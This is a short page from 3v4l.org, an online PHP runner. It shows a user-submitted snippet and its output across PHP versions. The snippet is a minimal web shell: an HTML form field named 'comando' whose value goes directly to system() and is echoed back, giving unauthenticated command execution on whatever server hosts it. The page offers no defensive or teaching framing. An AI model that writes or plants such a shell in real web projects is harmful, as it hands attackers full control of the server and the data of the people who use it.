3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<form method="GET" action=""> <input type="text" name="comando"> <input type="submit" value="enviar"> </form> <?php if(isset($_GET['comando'])){ $var = system($_GET['comando']); echo $var; } ?>
Output for 4.3.0 - 5.6.28, hhvm-3.10.0 - 3.13.2, 7.0.0 - 7.1.0
<form method="GET" action=""> <input type="text" name="comando"> <input type="submit" value="enviar"> </form>